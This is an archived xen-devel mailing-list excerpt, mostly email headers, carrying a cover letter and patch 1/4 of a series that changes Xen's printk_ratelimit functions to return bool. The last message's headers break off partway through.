 WPweGdNv6daeLtlSTiGBJ6qj5y8vT+3ZTRGxHSbhJ1HEhghUNNLrxo+CWz/ITEywb/2EG/32bFr
 a+iEL8kL13JVSr7NEqA==
X-Authority-Analysis: v=2.4 cv=fZedDUQF c=1 sm=1 tr=0 ts=6a57eb51 cx=c_pps
 a=rl9QZQJB4f+cLtFzzj7oTw==:117 a=b7IhknPlfT0FN1EembXvig==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=AHe91QgOk3R4nFVtG5At:22 a=VwQbUJbxAAAA:8
 a=cbNQJ9GKAAAA:8 a=p0WdMEafAAAA:8 a=5Zop1DV_0Gg6xGeLoKUA:9
 a=DqJYxgmhk6moR-_7_KoZ:22
X-Proofpoint-GUID: sjY1HXPDSf5b3BSVADhu_j4X_btC0Zd_
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-15_04,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 impostorscore=0
 spamscore=0 lowpriorityscore=0 clxscore=1015 priorityscore=1501
 suspectscore=0 malwarescore=0 bulkscore=0 adultscore=0 phishscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607150203
X-purgate-ID: tlsNG-ef75cf/1784146771-350CDAE4-F98DED2F/0/0
X-purgate-type: clean
X-purgate-size: 1036

The series introduces compile-configuration for diagnostic
messages rate-limiting.

Patch 1 is a tiny cleanup for ratelimiting APIs.
Patch 2 is a fixup for the rate-limiter to adjust to new user-defined
rate-limiting parameters.
Patch 3 introduces build-time rate-limiting controls.
Patch 4 is another tiny cleanup to reduce the amount of code.

[1] Link to v2: https://lore.kernel.org/xen-devel/20260206202424.2054758-1-dmukhin@ford.com/
[2] CI run: https://gitlab.com/xen-project/people/dmukhin/xen/-/pipelines/2679857573

Denis Mukhin (4):
  xen/console: use bool as return value from printk_ratelimit()
  xen/console: correct leaky-bucket rate limiter
  xen/console: add build-time rate-limiting controls
  xen/console: reduce number of printouts in __printk_ratelimit()

 xen/common/Kconfig         | 29 ++++++++++++++++++++++++
 xen/drivers/char/console.c | 46 ++++++++++++++++++++++----------------
 xen/include/xen/lib.h      |  6 ++---
 3 files changed, 59 insertions(+), 22 deletions(-)

-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 15 20:19:42 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 20:19:42 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363308.1615035 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wk64o-0006F4-JT; Wed, 15 Jul 2026 20:19:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363308.1615035; Wed, 15 Jul 2026 20:19:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wk64o-0006Ex-Go; Wed, 15 Jul 2026 20:19:30 +0000
Received: by outflank-mailman (input) for mailman id 1363308;
 Wed, 15 Jul 2026 20:19:29 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wk64m-00066t-UG
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 20:19:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wk64m-00Ey8o-46
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 22:19:28 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a57eb16-e002-0a2a0a5209dd-0a2a4507b652-30
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 22:19:28 +0200
Received: from [148.163.143.241] (helo=mx0b-00498f03.pphosted.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a57eb4e-b4ea-0a2a45070019-94a38ff10e0c-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 22:19:27 +0200
Received: from pps.filterd (m0367129.ppops.net [127.0.0.1])
 by mx0b-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66FKJNr03579733
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 20:19:26 GMT
Received: from sa9pr02cu001.outbound.protection.outlook.com
 (mail-southcentralusazon11013020.outbound.protection.outlook.com
 [40.93.196.20])
 by mx0b-00498f03.pphosted.com (PPS) with ESMTPS id 4feg97ghs3-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 20:19:26 +0000 (GMT)
Received: from BY3PR10CA0023.namprd10.prod.outlook.com (2603:10b6:a03:255::28)
 by DS1PR16MB6593.namprd16.prod.outlook.com (2603:10b6:8:1e2::7) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.9; Wed, 15 Jul
 2026 20:19:13 +0000
Received: from SJ1PEPF000026C5.namprd04.prod.outlook.com
 (2603:10b6:a03:255:cafe::23) by BY3PR10CA0023.outlook.office365.com
 (2603:10b6:a03:255::28) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.11 via Frontend Transport; Wed,
 15 Jul 2026 20:19:13 +0000
Received: from mx0a-00498f04.pphosted.com (205.220.161.53) by
 SJ1PEPF000026C5.mail.protection.outlook.com (10.167.244.102) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.9
 via Frontend Transport; Wed, 15 Jul 2026 20:19:12 +0000
Received: from pps.filterd (m0373460.ppops.net [127.0.0.1])
 by mx0a-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66FJnS5C1118757
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 16:19:12 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [34.209.42.160])
 by mx0a-00498f04.pphosted.com (PPS) with ESMTPS id 4fc6pxw17c-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 16:19:12 -0400 (EDT)
Received: from localhost ([19.12.92.221]) by cmsmtp with ESMTPSA
 id k64TwextzlwZ5k64UwoZK9; Wed, 15 Jul 2026 20:19:11 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=onY
	0NEET/6Wl7dnhlWXcP/zQqpmDHSq8qV7HDKDUDEc=; b=JqyhY6ob18wsZF2j3I5
	LaePXUrIMfnVTFgpiwiH68dBHjFzqeOpGp3Mq0aHEDSgxuatI+Nb6LCeu/DW4k/F
	7S4UPboRORRDWwjxOO3i4ywBf9sl1rfbAuSCMjhZAKQODE/VW+0JNe+Uxi5xFKHJ
	ns6vodJjlTMrWTr6pyzTz5109XlA9F9KTfEWdMDf2bJnk78SGH+IuPUOqVwGyWdz
	HKeH4nUcSohRQey8gE04lv79OIL9cBqWqgRGA3DKmSHvKSO+wm9wrmWGx5w50akN
	/x9LtIJl6kANgb3XVFH8RKDJJgGU+pnHg04fEGWgF1AEchOqowgPCsdjMRNuOtza
	EmQ==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=dpxZWd07YLEsi0dsXRVSwoyezwkIrNIWS+mEYvQCfIBx0yqS6V8HAnrpVc9+1SSpWsBze/y3YSUgAQ9SwmBFVYirLPYHInLfw4eHVJNUTlytUujf5dxDCDdQYggOIDEiwK+KXxJ3qQ3aRY0veCXET2O+3gNbWageDSTTao4i6cECnrcz1TZiEazytmNchumEuujTu8iK137hCm/aYcxJxkdWkBcyBi2/0iyi/HA+05teputp0NmMW9oYEPQlZmqTSGO0wdnDxJ/j8I9CE3pODM+/x37cjG4oDtLLghXD03uDm+J/pYZh1cqTxCtDQtmgzp/x8L97OtsoJbLulmP/Sg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=onY0NEET/6Wl7dnhlWXcP/zQqpmDHSq8qV7HDKDUDEc=;
 b=ni+cmPJ3jXhX43m8VhljifhrXZctVfZRECcQqeQvh0RDoIzssXBRl418WUXkOUH8GyJh+4GyJFIZ7yRo2bOzhf0JLJLwFdzdPJxg9PGSJpN1/beVi9IkfrtvDZWnfNTNcdWLIVKMbebDJCwTU0hcrsOSc+ke+iY2eRSlUjv3Z81+afptPIo9wCzejZDu7s8sPvk7pJOYS0494MNnfx0/vS9AdOeP0BTDCjhLxH9fK8WTHCGr/0UnhVuW6hi4j292tvKnusARqBgOqe//V1plHslGh6DTWxKKSj7SkQIEhH8+H0b/P5r4ozsb6Hyx/ykJkH8GIcNimdl20OwRyVafXQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 205.220.161.53) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=onY0NEET/6Wl7dnhlWXcP/zQqpmDHSq8qV7HDKDUDEc=;
 b=coKoZVNo1h6knh/sEhLrnNzJNqNbJ4LG6EBXXxM8bpdN6SUzgoHV2XVnw7EkvCOpr2fGcvbaQIOlnhQEdCffAttK5Ne7pLfPkvn+kqiNECvxGoThXJKHBLbHdNP3KFKzW7Y78IUIh/2G2SWGdsndehSKWPG5K7cUA/a83PlAWJs=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 205.220.161.53)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 205.220.161.53 as permitted sender) receiver=protection.outlook.com;
 client-ip=205.220.161.53; helo=mx0a-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=onY0NEET/6Wl7dnhlWXcP/zQqpmDHSq8qV7HDKDUDEc=; b=
	hwgwp2tXRy7Eiz2woznwDH4Nx/Mc9WHS7duG10W3HqKtpIKBkCNDV7ACIz8nqaFt
	Hew4e4cONrJyYpCyDiGIBKwi+ZjqUmmcUk7LAsNSzbiEBkzRY4bLfOGkXi/WHdGD
	amsmOCJG9NoRXlR8XgXuQjMehhNdlKoZuOdEcfIAKYPjL9aI8OYarN8+mYMjZdSY
	f9yn+dDuJk5wrgxlXd70B5IVi5ZRrAbLcfOvx10VNZ3H5aL+MaJKZUJXbLGhIr0Y
	maIm2IYD1ly4HDOUgiGgJOHPq5w7wniwM/tkHk5EEZDUgyEV8bltXwUVuH1B6qJg
	polJXPPFPbTZnj5rEXkrqg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=onY0NEE
	T/6Wl7dnhlWXcP/zQqpmDHSq8qV7HDKDUDEc=; b=LpiQuyaJL8H3KMo7f5sYK82
	E0oVENFanZVPpjEYqasPX5o7foDkpmroNvogpQ7wqVb7MarVItBtGUlR7+hYYrEX
	ESvLDWwwHeg5TmmntDfdhAkNaP9UBc3jnDtQCF+5IyE18Kfw/hREsMM8qSCC/ozn
	d8ym1Ue2BejViRrf4xSIop9WEYH/B8QmukW9PkwrTQjtPtD8Fsf8jRwO4i+TD/KK
	ZTihNLG69hlxsLIrXwChz1FQLSHyMG7t8ZJ/YdsQBPkrs8NsNDI6sjjQDfuGnPcf
	iO/ekGqfv5srKnf24QySfy5qB8bszMOCjyZe+o7772+o5exIcIrRC8LvQUY3dcw=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: k64TwextzlwZ5k64UwoZK9
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v3 1/4] xen/console: use bool as return value from printk_ratelimit()
Date: Wed, 15 Jul 2026 13:18:59 -0700
Message-ID: <20260715201902.2984407-2-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260715201902.2984407-1-dmukhin@ford.com>
References: <20260715201902.2984407-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-15_04,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 bulkscore=0
 adultscore=0 suspectscore=0 spamscore=0 phishscore=0 malwarescore=0
 lowpriorityscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607150203
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ1PEPF000026C5:EE_|DS1PR16MB6593:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: 7eeaa629-fee0-469f-c38b-08dee2ae560d
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|1800799024|23010399003|82310400026|36860700016|376014|18002099003|22082099003|11063799006|56012099006|10067099003;
X-Microsoft-Antispam-Message-Info:
	tmpspZWf1IXMNWemCWZn6xRSB/C3MdaOSmU0LTZcdBaHmLlzAt3MvjXKKaFWOeoPT4swZddtETx9WQzN5jK+xcd81i0/mznne+cS0/arHZtFAZV1NSC/o/3rp19sVVPAqLQNY2yRdMF6yDFiLgMgOxA1omn/CAba8vY3WvizirI6NAzkAyqx0qsOOsTjxl0Th9TXaGXoG7uhZr2gg8GLnLS0oymTV+BnSZ7bV/k41+N//KDTjxg7blA+jW5M1GZkJa7i7HvXeQ25BpG7YXH4ZaIggDTa5t9J+IHxQ+nHXSeen/TeAvKT4zaa9N/+eYYcqK+rwJ6YOSyjw0Fa2p5//9oOeazyYkkfKcSEAlZNNnK/t0i9jqP1AvB3pUeQvVTbrESwiEStVwqHnaOBDh2Zb19FTIGvw27thlvttWeeyrKSD/+llOQ6V/D+VmzHT8uaNbsZpRVQlyQQy2gDh1QoMQf8cZdFif4DWYS/rrZxrCmkVK8FGRuR/0dYOa8lDebBZ0CCAYhnrTnQFhh1YelwSM/aDmrEQbZb+AHnmN7dd5NoGJnSXO1/THiFEW7R9OHH4dmtHxMmialz2v2q19UCiLlXJVaRWQMLXq7vcJ9yYwWrvJA/r8mZX/hFsYc934e3NvciF4dqvA3vKvqjQ89tEuarpzvEa15SEQRxtnAcm0jQRMW9yMVZSZbQ1uqB0SSOrwfIroDDI1NT4rQmEp6Ztg==
X-Forefront-Antispam-Report:
	CIP:205.220.161.53;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0a-00498f04.pphosted.com;PTR:mx0a-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(1800799024)(23010399003)(82310400026)(36860700016)(376014)(18002099003)(22082099003)(11063799006)(56012099006)(10067099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	37VvwiB+oNr2pSYhqLJpxWHrkFczpmOBK9/aubSldmkwVa6zo8LARpee5eEUPpz0P6kV5QPRLoMYePDQgVA4Dy8cBdgerNEXzTlgQCnyVxtp2IavC3qbPggvUhAXBfTTmYvPLbdXZHYc9PKmzM78e1qJQEzQyrFtkcZTLzPzNmcYxu6+rbEKXjbe2fpfZ5tZud2l6b8wDCq2EnJbGQl72TD5WaLrwvAwbMfDHfaMyJRiCA0KIxonSp6SjZL26Fo2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nU5A80dMYWKu3uHIK05x0qXGLGZ2WnSPo7BsC7ruup96MsbkOYdo0e2yAe2HD+eCc3EfA+/GkjtUAA5M8tqvs7FCoa1w/PvKYLZQhZ0rLTZ/eIuHvNgHbU/j9D9NkRFq1VHmsiVfltET9/VL/4osxaOB8q7AGz+t99RregH4bDpcCm7nfZZGTGb1Gs8KC2EpqGLhyVMBYpVKGmmKI0C5Ynci/4AF0Gw==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 15 Jul 2026 20:19:12.8625
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 7eeaa629-fee0-469f-c38b-08dee2ae560d
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[205.220.161.53];Helo=[mx0a-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ1PEPF000026C5.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS1PR16MB6593
X-Proofpoint-GUID: ZZ39HVijYtVoahimvWNUUfY-XkUKfqSb
X-Proofpoint-ORIG-GUID: ZZ39HVijYtVoahimvWNUUfY-XkUKfqSb
X-Authority-Analysis: v=2.4 cv=LPdWhpW9 c=1 sm=1 tr=0 ts=6a57eb4e cx=c_pps
 a=PurIBXv9FE+FLdDnXy66Mg==:117 a=lOEMawUel/sSvQipkIvNbg==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=X3KReqg2EL6A36SYCKpz:22 a=cbNQJ9GKAAAA:8
 a=iox4zFpeAAAA:8 a=O5SXfJm8xCv1owjWUKgA:9 a=P0bj-C3X3jJDpopQwM1U:22
 a=WzC6qhA0u3u7Ye7llzcV:22
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE1MDIwMyBTYWx0ZWRfX8leqj3401WmO
 KXT4P/9q76DZnfJlYvN3qCM/87nH8WAFlUC25QMja9BA4hp/NROE1A+pzZLlyU37hid8ndhqpLL
 egLKZpR2otFlUFlnPAnqKlEJn5n+xiZa/bZMjNmL2KbpMytYoZT4
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE1MDIwMyBTYWx0ZWRfX9qsTZB6JppWx
 p270Tn5FJmVdtUuefCC+XpM3ldF6R0adGvOX+4x/jSj6zlnQreMFhF/E3YQH5Jy2oWji69fV4AZ
 +615XHFxMBLdLzUBUVDDyIElH96w5tAp8kU2ovJrRfba/PnbB25gRETotHylyl/7gX7r1yV4L9p
 onys6o+qhHKKukPgfDeHa2IszVH2mxqGhKMHagtACx311hDupxC/IX7Vhk3qm5JmfF/aPUPt66Q
 CbaHlCOyFWeWMVSxf6yM6d+TfdALzjfU93OwpYGrVkM5/APKGrpZpdfMFnLJrhl3RGoobU3mnem
 MMnM9ZVuDDtWgbZ/dwpU9M4rYDVsFYH/1kF6nT5U4PZZcsdcUCPEElpbsr2PPf7GwLX/kx4WTkm
 ar+KTkvuR6zzXiNCNQl0CIP2X9UTLwO8dFJA/tg0Pjel9bAuU7Rn7aQf0hIPSQziWNCyT5WjO8k
 YuMHnzn9kg9GcX4m7Bg==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-15_04,2026-07-15_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 impostorscore=0
 phishscore=0 adultscore=0 malwarescore=0 suspectscore=0 bulkscore=0
 priorityscore=1501 clxscore=1015 lowpriorityscore=0 spamscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607150203
X-purgate-ID: tlsNG-ef75cf/1784146768-A6EDEAE4-DF198B40/0/0
X-purgate-type: clean
X-purgate-size: 2656

From: Denis Mukhin <dmukhin@ford.com> 

{__,}printk_ratelimit() are predicates. Make that pronounced by updating the
return value to boolean.

Not a functional change.

Signed-off-by: Denis Mukhin <dmukhin@ford.com>
Acked-by: Jan Beulich <jbeulich@suse.com>
---
Changes since v2:
- rebased
---
 xen/drivers/char/console.c | 9 +++++----
 xen/include/xen/lib.h      | 6 +++---
 2 files changed, 8 insertions(+), 7 deletions(-)

diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index dbda7f259668..5d395f882e08 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -1270,7 +1270,8 @@ void console_end_sync(void)
  * This enforces a rate limit: not more than one kernel message
  * every printk_ratelimit_ms (millisecs).
  */
-int __printk_ratelimit(unsigned int ratelimit_ms, unsigned int ratelimit_burst)
+bool __printk_ratelimit(unsigned int ratelimit_ms,
+                        unsigned int ratelimit_burst)
 {
     static DEFINE_SPINLOCK(ratelimit_lock);
     static unsigned long toks = 10 * 5 * 1000;
@@ -1309,11 +1310,11 @@ int __printk_ratelimit(unsigned int ratelimit_ms, unsigned int ratelimit_burst)
             rspin_unlock(&console_lock);
         }
         local_irq_restore(flags);
-        return 1;
+        return true;
     }
     missed++;
     spin_unlock_irqrestore(&ratelimit_lock, flags);
-    return 0;
+    return false;
 }
 
 /* Minimum time in ms between messages */
@@ -1322,7 +1323,7 @@ static const unsigned int printk_ratelimit_ms = 5 * 1000;
 /* Number of messages we send before ratelimiting */
 static const unsigned int printk_ratelimit_burst = 10;
 
-int printk_ratelimit(void)
+bool printk_ratelimit(void)
 {
     return __printk_ratelimit(printk_ratelimit_ms, printk_ratelimit_burst);
 }
diff --git a/xen/include/xen/lib.h b/xen/include/xen/lib.h
index bb0fd446b484..3c545ff33c61 100644
--- a/xen/include/xen/lib.h
+++ b/xen/include/xen/lib.h
@@ -82,9 +82,9 @@ extern void guest_printk(const struct domain *d, const char *fmt, ...)
     __attribute__ ((format (printf, 2, 3)));
 extern void noreturn panic(const char *fmt, ...)
     __attribute__ ((format (printf, 1, 2)));
-extern int __printk_ratelimit(unsigned int ratelimit_ms,
-                              unsigned int ratelimit_burst);
-extern int printk_ratelimit(void);
+extern bool __printk_ratelimit(unsigned int ratelimit_ms,
+                               unsigned int ratelimit_burst);
+extern bool printk_ratelimit(void);
 
 #define gprintk(lvl, fmt, args...) \
     printk(XENLOG_GUEST lvl "%pv " fmt, current, ## args)
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Wed Jul 15 20:19:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 15 Jul 2026 20:19:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363312.1615054 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wk653-0006qR-7Q; Wed, 15 Jul 2026 20:19:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363312.1615054; Wed, 15 Jul 2026 20:19:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wk653-0006qK-3z; Wed, 15 Jul 2026 20:19:45 +0000
Received: by outflank-mailman (input) for mailman id 1363312;
 Wed, 15 Jul 2026 20:19:43 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wk651-0006no-1U
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 20:19:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wk650-005TYs-Eh
 for xen-devel@lists.xenproject.org; Wed, 15 Jul 2026 22:19:42 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a57eb34-bab6-0a2a0a5309dd-0a2a450c9f50-28
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 22:19:42 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a57eb5c-f479-0a2a450c0019-94a392173550-3
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 22:19:42 +0200
Received: from pps.filterd (m0384718.ppops.net [127.0.0.1])
 by mx0a-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66FKJdFr3510000
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 20:19:40 GMT
Received: from cy3pr05cu001.outbound.protection.outlook.com
 (mail-westcentralusazon11013050.outbound.protection.outlook.com
 [40.93.201.50])
 by mx0a-00498f03.pphosted.com (PPS) with ESMTPS id 4fedwmt68w-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Wed, 15 Jul 2026 20:19:39 +0000 (GMT)
Received: from PH8PR15CA0012.namprd15.prod.outlook.com (2603:10b6:510:2d2::18)
 by BN7PPFA29DF5524.namprd16.prod.outlook.com
 (2603:10b6:40f:fc02::71f) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.10; Wed, 15 Jul
 2026 20:19:22 +0000
Received: from MW1PEPF00016160.namprd21.prod.outlook.com
 (2603:10b6:510:2d2:cafe::14) by PH8PR15CA0012.outlook.office365.com
 (2603:10b6:510:2d2::18) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.12 via Frontend Transport; Wed,
 15 Jul 2026 20:19:21 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
